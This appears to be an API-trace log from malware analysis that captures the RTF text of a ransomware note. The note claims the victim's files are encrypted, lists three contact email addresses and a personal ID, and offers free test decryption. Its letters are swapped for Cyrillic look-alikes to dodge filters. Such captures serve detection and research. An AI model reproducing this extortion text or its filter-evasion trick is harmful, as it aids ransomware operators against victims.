BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* 